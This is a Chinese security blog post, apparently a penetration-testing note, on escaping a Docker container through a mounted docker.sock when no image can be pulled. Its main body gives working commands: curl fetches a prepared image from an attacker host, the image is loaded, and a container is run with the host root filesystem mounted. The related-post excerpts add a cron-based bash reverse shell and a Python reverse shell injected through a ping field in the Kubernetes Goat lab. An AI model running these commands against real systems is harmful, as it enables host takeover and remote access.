无法拉取镜像的环境下进行docker.sock 逃逸

发表于2024-12-24|更新于2026-06-12|运维开发

|浏览量:

报错信息：

1	docker: Error response from daemon: Get "https://registry-1.docker.io/v2/": proxyconnect tcp: dial tcp 192.168.88.172:7897: connect: connection refused.

1 2	docker images docker save -o alpine_latest.tar alpine:latest

导入镜像逃逸

在要逃逸的容器内执行
下载制作好的镜像

1	curl http://192.168.x.x:8000/alpine_latest.tar -o /tmp/alpine_latest.tar

1	/tmp/docker/docker load -i /tmp/alpine_latest.tar

1	/tmp/docker/docker -H unix:///run/docker.sock run -v /:/mnt -it alpine sh

成功逃逸

文章作者: putdown

文章链接: https://blog.putdown.top/archives/30d0d94e.html

版权声明: 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Putdownd’s Blog！

相关推荐

Portainer后渗透

前言 1docker -H unix:///run/docker.sock run -v /:/test -it ubuntu:latest /bin/bash 1Get "https://registry-1.docker.io/v2/": context deadline exceeded (Client.Timeout exceeded while awaiting headers) Portainer 的后渗透更换镜像源新建容器逃逸 1echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root 结束

Kubernetes Goat 02 - docker in docker

Kubernetes Goat 02 - docker in docker 靶机ip：http://192.168.72.129:1231/ 能执行ping命令职业习惯加个管道符反弹shell 尝试使用bash来反弹没有成功使用python反弹执行成功监听执行命令 1192.168.88.43 | python -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.88.43",6666));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")' 判断环境 ls -la mount docker in docker “Docker in Docker” (DinD) 是一种在 Docker 容器内部运行 Docker 的实践方法。它允许您在一个容器中运行和管理 Docker 容器，而无需在宿主机上安装 Docker。 doc...

Kubernetes Goat 05 - Docker CIS benchmarks analysis

Docker CIS benchmarks analysisDocker CIS 基线分析首先需要部署docker bench security将它启动为DaemonSet 1cd kubernetes-goat/ 1kubectl apply -f scenarios/docker-bench-security/deployment.yaml 运行容器应用 1kubectl get pod 1kubectl exec -it docker-bench-security-6npjf -- sh 等待结果就好了结束

镜像运行(vmdk在vmware运行)

衔接上文上一篇文章是吧E01的镜像转换为了vmdk格式,并在虚拟机进行了挂载今天是把镜像实在虚拟机里面完整跑起来准备工作 vmdk格式的镜像文件 vmware虚拟机啊开始首先新建虚拟机,选择自定义默认下一步稍后安装看恢复的系统,这次是windows就选择了windows 自定义名称路径固件类型选在bios 按需配置cpu及内存因为是镜像恢复就不联网了控制器类型,默认磁盘类型scsi 使用现有的虚拟机选择要跑的vmdk文件保持现有格式完成结束最近有点老年痴呆,简单记录下过程

docker-compose搭建NPS

docker-compose搭建NPS 新建文件夹 /opt/nps 在 /opt/nps文件夹下新建 docker-compose.yml 文件文件内容： 12345678910version: "3"services: minio: privileged: true image: ffdfgdfg/nps:latest container_name: nps restart: always network_mode: "host" volumes: - /opt/nps/conf:/conf 下载配置文件去 github下载配置文件， 1https://github.com/ehang-io/nps 整个 conf 文件夹下载完这个文件夹包含这些文件修改配置文件修改 nps.conf 修改账号密码或者端口 nps 未授权和默认key修复方法还是 nps.conf配置文件取消掉 auth_key的注释，把后面的值改一下启动1dock...

ARL（灯塔）删库后使用docker搭建ARL（灯塔）

docker 保存命令把镜像保存为本地文件 1234docker tag cd80881c4e0e rabbitmq:localdocker save tophant/arl -o arl.tardocker save mongo -o mongo.tardocker save rabbitmq -o rabbitmq.tar 修改docker-compose.yml的文件主要修改： tophant/arl:${ARL_VERSION:-latest} 改为 image: tophant/arl:local 以此类推。以下为修改后。 1docker load < rabbitmq.tar 创建文件 1docker volume create arl_db 启动注意数据不会保留及时更改密码